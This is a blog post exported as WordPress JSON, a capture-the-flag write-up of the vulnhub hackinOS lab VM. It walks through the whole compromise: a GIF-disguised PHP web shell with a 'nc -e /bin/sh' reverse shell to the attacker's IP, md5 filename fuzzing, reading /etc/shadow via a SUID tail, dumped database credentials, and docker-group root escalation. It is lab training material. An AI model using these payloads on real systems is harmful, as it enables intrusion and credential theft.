{"id":108,"date":"2019-05-04T04:30:20","date_gmt":"2019-05-04T04:30:20","guid":{"rendered":"http:\/\/www.unordnung.net\/?p=108"},"modified":"2019-05-04T04:30:20","modified_gmt":"2019-05-04T04:30:20","slug":"vulnhub-hackingos-writeup","status":"publish","type":"post","link":"https:\/\/unordnung.net\/misc\/2019\/05\/vulnhub-hackingos-writeup\/","title":{"rendered":"vulnhub hackingOS writeup"},"content":{"rendered":"<p><a href=\"https:\/\/www.vulnhub.com\/entry\/hackinos-1,295\/\">https:\/\/www.vulnhub.com\/entry\/hackinos-1,295\/<\/a><br \/>\nrunning sparta gave me port 22 and 8000, on 8000 i found a defunct wordpress. which pointed to localhost, that could be fixed with locally assigning localhost to the vm&#8217;s network ip.<br \/>\ni also found that Handsome_Container was a valid wordpress username. i started bruteforcing it with burp suite.<br \/>\nnikto revealed some interesting infos:<br \/>\n&#8211; Nikto v2.1.6<br \/>\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br \/>\n+ Target IP: 192.168.56.101<br \/>\n+ Target Hostname: 192.168.56.101<br \/>\n+ Target Port: 8000<br \/>\n+ Start Time: 2019-05-01 14:55:20 (GMT2)<br \/>\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br \/>\n+ Server: Apache\/2.4.25 (Debian)<br \/>\n+ Retrieved x-powered-by header: PHP\/7.2.15<br \/>\n+ The anti-clickjacking X-Frame-Options header is not present.<br \/>\n+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS<br \/>\n+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type<br \/>\n+ Root page \/ redirects to: http:\/\/192.168.56.101:8000\/<br \/>\n+ No CGI Directories found (use &#8216;-C all&#8217; to force check all possible dirs)<br \/>\n+ Entry &#8216;\/upload.php&#8217; in robots.txt returned a non-forbidden or redirect HTTP code (200)<br \/>\n+ &#8220;robots.txt&#8221; contains 2 entries which should be manually viewed.<br \/>\n+ Apache\/2.4.25 appears to be outdated (current is at least Apache\/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.<br \/>\n+ Uncommon header &#8216;link&#8217; found, with contents: ; rel=&#8221;https:\/\/api.w.org\/&#8221;<br \/>\n+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.<br \/>\n+ OSVDB-3233: \/icons\/README: Apache default file found.<br \/>\n+ \/wp-content\/plugins\/hello.php: PHP error reveals file system path.<br \/>\n+ OSVDB-62684: \/wp-content\/plugins\/hello.php: The WordPress hello.php plugin reveals a file system path<br \/>\n+ \/wp-links-opml.php: This WordPress script reveals the installed version.<br \/>\n+ OSVDB-3092: \/license.txt: License file found may identify site software.<br \/>\n+ Cookie wordpress_test_cookie created without the httponly flag<br \/>\n+ \/wp-login.php: WordPress login found<br \/>\n+ 7919 requests: 0 error(s) and 16 item(s) reported on remote host<br \/>\n+ End Time: 2019-05-01 14:56:56 (GMT2) (96 seconds)<br \/>\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br \/>\n+ 1 host(s) tested<br \/>\nthe \/upload.php is interesting, its an image upload function. i started uploading with php reverse shells infected png images. That didnt work out.<br \/>\nWarning: getimagesize(): PNG file corrupted by ASCII conversion in \/var\/www\/html\/upload.php on line 25<br \/>\n\ud83d\ude42<br \/>\nAt some point i found the hint hidden in the html code &lt;&#8211; https:\/\/github.com\/fatihhcelik\/Vulnerable-Machine&#8212;Hint &#8211;&gt;<br \/>\nThat revealed the upload.php&#8217;s code:<br \/>\n<!--?php\n\/\/ Check if image file is a actual image or fake image\nif(isset($_POST[\"submit\"])) {\n\t$rand_number = rand(1,100);\n\t$target_dir = \"uploads\/\";\n\t$target_file = $target_dir . md5(basename($_FILES[\"file\"][\"name\"].$rand_number));\n\t$file_name = $target_dir . basename($_FILES[\"file\"][\"name\"]);\n\t$uploadOk = 1;\n\t$imageFileType = strtolower(pathinfo($file_name,PATHINFO_EXTENSION));\n\t$type = $_FILES[\"file\"][\"type\"];\n\t$check = getimagesize($_FILES[\"file\"][\"tmp_name\"]);\n\tif($check[\"mime\"] == \"image\/png\" || $check[\"mime\"] == \"image\/gif\"){\n\t\t$uploadOk = 1;\n\t}else{\n\t\t$uploadOk = 0;\n\t\techo \":)\";\n\t}\n  if($uploadOk == 1){\n      move_uploaded_file($_FILES[\"file\"][\"tmp_name\"], $target_file.\".\".$imageFileType);\n      echo \"File uploaded \/uploads\/?\";\n  }\n}\n?--><br \/>\nThat makes it a lot easier. We can see that the file ist renamed to the md5 of the filename and a random number from 1-100.<br \/>\nThe script checks the mime type of the uploaded file but no extension, allowed are gif and png mime types.<br \/>\nSo i created a random png image with gimp and opened it with hex editor, put a a php reverse shell in it. upload wont work -.- after learning and experimenting i found a gif working like that:<br \/>\ncat cmd.php<br \/>\nGIF89a;<br \/>\n#<!--?php system($_GET['cmd']); ?--><br \/>\n<!--?php system(nc -e \/bin\/sh 192.168.56.102 2323); ?--><br \/>\nnow we get to launch the shell and for that we need to find the uploaded file, so i wrote a script to create the 100 possible hashes of cmd.phpXXX<\/p>\n<pre>#!\/usr\/bin\/python3\nimport hashlib\ntextToEncode = input()\nbisHundert = 1\ntoEncode = textToEncode+str(bisHundert)\nwhile bisHundert&lt;=100:\nprint(hashlib.md5(toEncode.encode('utf-8')).hexdigest())\nbisHundert += 1\ntoEncode = textToEncode+str(bisHundert)<\/pre>\n<p>$ python3 md5hackinOS_ctf.py &gt; cmdphphashes.txt<br \/>\ncmd.php<br \/>\nthomsane@anansi:~\/python$ cat cmdphphashes.txt<br \/>\n04292b8d46833c395942086e6ed2cd2c<br \/>\nd44843c7108897d25a243ffc3cd1edb7<br \/>\n(&#8230;)<br \/>\n180134430544955d54b576c726c76217<br \/>\nnow we can supply wfuzz with the payloads stored in the textfile.<br \/>\n$ sudo wfuzz -w python\/cmdphphashes.txt &#8211;hc 404 http:\/\/192.168.56.101:8000\/uploads\/FUZZ.php<br \/>\nWarning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz&#8217;s documentation for more information.<br \/>\n********************************************************<br \/>\n* Wfuzz 2.3.4 &#8211; The Web Fuzzer *<br \/>\n********************************************************<br \/>\nTarget: http:\/\/192.168.56.101:8000\/uploads\/FUZZ.php<br \/>\nTotal requests: 100<br \/>\n==================================================================<br \/>\nID Response Lines Word Chars Payload<br \/>\n==================================================================<br \/>\n000024: C=200 3 L 16 W 165 Ch &#8220;39b07a3be178f1249b64f60105360c4b&#8221;<br \/>\nTotal time: 0.245449<br \/>\nProcessed Requests: 100<br \/>\nFiltered Requests: 99<br \/>\nRequests\/sec.: 407.4165<br \/>\nand it found our &#8220;picture&#8221; at<br \/>\nhttp:\/\/192.168.56.101:8000\/uploads\/39b07a3be178f1249b64f60105360c4b.php<br \/>\nand my listener received the shell \ud83d\ude42 which i upgraded to a real tty with python -c &#8216;import pty; pty.spawn(&#8220;\/bin\/bash&#8221;)&#8217; and started looking for priv esc possibilities.<br \/>\ni found \/usr\/bin\/tail to have SUID bit set and tried to:<br \/>\n$ tail -n 100 \/root\/flag<br \/>\nLife consists of details..<br \/>\nwell, thats not a flag right? but no permission error either since cat: \/root\/flag: Permission denied<br \/>\ntail -c1G \/etc\/shadow<br \/>\nroot:$6$qoj6\/JJi$FQe\/BZlfZV9VX8m0i25Suih5vi1S\/\/OVNpd.PvEVYcL1bWSrF3XTVTF91n60yUuUMUcP65EgT8HfjLyjGHova\/:17951:0:99999:7:::<br \/>\ndaemon:*:17931:0:99999:7:::<br \/>\nbin:*:17931:0:99999:7:::<br \/>\nsys:*:17931:0:99999:7:::<br \/>\nsync:*:17931:0:99999:7:::<br \/>\ngames:*:17931:0:99999:7:::<br \/>\nman:*:17931:0:99999:7:::<br \/>\nlp:*:17931:0:99999:7:::<br \/>\nmail:*:17931:0:99999:7:::<br \/>\nnews:*:17931:0:99999:7:::<br \/>\nuucp:*:17931:0:99999:7:::<br \/>\nproxy:*:17931:0:99999:7:::<br \/>\nwww-data:*:17931:0:99999:7:::<br \/>\nbackup:*:17931:0:99999:7:::<br \/>\nlist:*:17931:0:99999:7:::<br \/>\nirc:*:17931:0:99999:7:::<br \/>\ngnats:*:17931:0:99999:7:::<br \/>\nnobody:*:17931:0:99999:7:::<br \/>\n_apt:*:17931:0:99999:7:::<br \/>\nenumerating further i found $ cat \/etc\/init.d\/delete.sh<br \/>\ncat \/etc\/init.d\/delete.sh<br \/>\n#!\/bin\/bash<br \/>\nwhile [ 1 ]<br \/>\ndo<br \/>\nrm -rf \/var\/www\/html\/uploads\/*.php<br \/>\nsleep 300<br \/>\ndone<br \/>\nokay&#8230;that was the fuck keeping burp suite intruder from finding the file because of the speed throtteling in the free edition. -.-<br \/>\ncat wp-config.php<br \/>\n<!--?php\n\/**\n * The base configuration for WordPress\n *\n * The wp-config.php creation script uses this file during the\n * installation. You don't have to use the web site, you can\n * copy this file to \"wp-config.php\" and fill in the values.\n *\n * This file contains the following configurations:\n *\n * * MySQL settings\n * * Secret keys\n * * Database table prefix\n * * ABSPATH\n *\n * @link https:\/\/codex.wordpress.org\/Editing_wp-config.php\n *\n * @package WordPress\n *\/\n\/\/ ** MySQL settings - You can get this info from your web host ** \/\/\n\/** The name of the database for WordPress *\/\ndefine('DB_NAME', 'wordpress');\n\/** MySQL database username *\/\ndefine('DB_USER', 'wordpress');\n\/** MySQL database password *\/\ndefine('DB_PASSWORD', 'wordpress');\n\/** MySQL hostname *\/\ndefine('DB_HOST', 'db:3306');\nmysql -u wordpress -pwordpress -h localhost wordpress\nmysqldump -h db -u wordpress -p wordpress --> dumpall.sql<br \/>\nLOCK TABLES `host_ssh_cred` WRITE;<br \/>\n\/*!40000 ALTER TABLE `host_ssh_cred` DISABLE KEYS *\/;<br \/>\nINSERT INTO `host_ssh_cred` VALUES (&#8216;hummingbirdscyber&#8217;,&#8217;e10adc3949ba59abbe56e057f20f883e&#8217;);<br \/>\n\/*!40000 ALTER TABLE `host_ssh_cred` ENABLE KEYS *\/;<br \/>\nUNLOCK TABLES;<br \/>\nINSERT INTO `wp_users` VALUES (1,&#8217;Handsome_Container&#8217;,&#8217;$P$BXJ8ZmtYd5lHZOLPgTccLUhaQLxm0L0&#8242;,&#8217;handsome_container&#8217;,&#8217;pupetofosu@ask-mail.com&#8217;,&#8221;,&#8217;2019-02-23 15:49:54&#8242;,&#8221;,0,&#8217;Handsome_Container&#8217;);<br \/>\nhummingbirdscyber<br \/>\ne10adc3949ba59abbe56e057f20f883e md5 of 123456<br \/>\nhummingbirdscyber@vulnvm:~$<br \/>\nwell, well, well&#8230;i was on a container before! i noticed when i looked in \/var\/www\/html and only found an index.html. i was thinking so when i was looking on the mounts on the container&#8230;<br \/>\n[+] Current User<br \/>\nhummingbirdscyber<br \/>\n[+] Current User ID<br \/>\nuid=1000(hummingbirdscyber) gid=1000(hummingbirdscyber) groups=1000(hummingbirdscyber),4(adm),24(cdrom),30(dip),46(plugdev),113(lpadmin),128(sambashare),129(docker)<br \/>\nok, we are in the docker group&#8230;so basically root already.<br \/>\nlets look what containers run<\/p>\n<pre>hummingbirdscyber@vulnvm:~$ docker ps\nCONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES\n252fa8cb1646 ubuntu \"\/bin\/bash\" 2 months ago Up 2 days brave_edison\n1afdd1f6b82c wordpress:latest \"docker-entrypoint.s\u2026\" 2 months ago Up 2 days 0.0.0.0:8000-&gt;80\/tcp experimental_wordpress_1\n81a93420fd22 mysql:5.7 \"docker-entrypoint.s\u2026\" 2 months ago Up 2 days 3306\/tcp, 33060\/tcp experimental_db_1<\/pre>\n<p>since i run the vulnerable vm without internet access for security reasons, i used the ubuntu image which already exists to elevate my privileges<br \/>\nhummingbirdscyber@vulnvm:~$ docker run -v \/:\/hostOS -i -t ubuntu<br \/>\nnow we run a a new container and the \/ filesystem of the main host is mounted to \/hostOS<br \/>\nroot@c50ed36b8d25:\/hostOS\/root# cat flag<\/p>\n<pre>Congratulations!\n                              -ys-\n                                \/mms.\n                                  +NMd+`\n                               `\/so\/hMMNy-\n                                 `+mMMMMMMd\/           .\/oso\/-\n                                  `\/yNMMMMMMMMNo`   .`   +-\n                                  .oyhMMMMMMMMMMN\/.     o.\n                                    `:+osysyhddhs`    `o`\n                                     .:oyyhshMMMh.   .:\n                                  `-\/\/:. `:sshdh: `\n                                             -so:.\n                                            .yy.\n                                          :odh\n                                        +o--d`\n                                      \/+. .d`\n                                    -\/`  `y`\n                                  `:`   `\/\n                                 `.     `<\/pre>\n<p>that was fun \ud83d\ude42 &lt;3<\/p>\n","protected":false},"excerpt":{"rendered":"<p>https:\/\/www.vulnhub.com\/entry\/hackinos-1,295\/ running sparta gave me port 22 and 8000, on 8000 i found a defunct wordpress. which pointed to localhost, that could be fixed with locally assigning localhost to the vm&#8217;s network ip. i also found that Handsome_Container was a valid wordpress username. i started bruteforcing it with burp suite. nikto revealed some interesting infos: &#8230; <a title=\"vulnhub hackingOS writeup\" class=\"read-more\" href=\"https:\/\/unordnung.net\/misc\/2019\/05\/vulnhub-hackingos-writeup\/\">Read more<span class=\"screen-reader-text\">vulnhub hackingOS writeup<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5,4],"tags":[15],"class_list":["post-108","post","type-post","status-publish","format-standard","hentry","category-ctf-writeup","category-to_remember","tag-ctf"],"_links":{"self":[{"href":"https:\/\/unordnung.net\/misc\/wp-json\/wp\/v2\/posts\/108","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/unordnung.net\/misc\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/unordnung.net\/misc\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/unordnung.net\/misc\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/unordnung.net\/misc\/wp-json\/wp\/v2\/comments?post=108"}],"version-history":[{"count":0,"href":"https:\/\/unordnung.net\/misc\/wp-json\/wp\/v2\/posts\/108\/revisions"}],"wp:attachment":[{"href":"https:\/\/unordnung.net\/misc\/wp-json\/wp\/v2\/media?parent=108"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/unordnung.net\/misc\/wp-json\/wp\/v2\/categories?post=108"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/unordnung.net\/misc\/wp-json\/wp\/v2\/tags?post=108"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}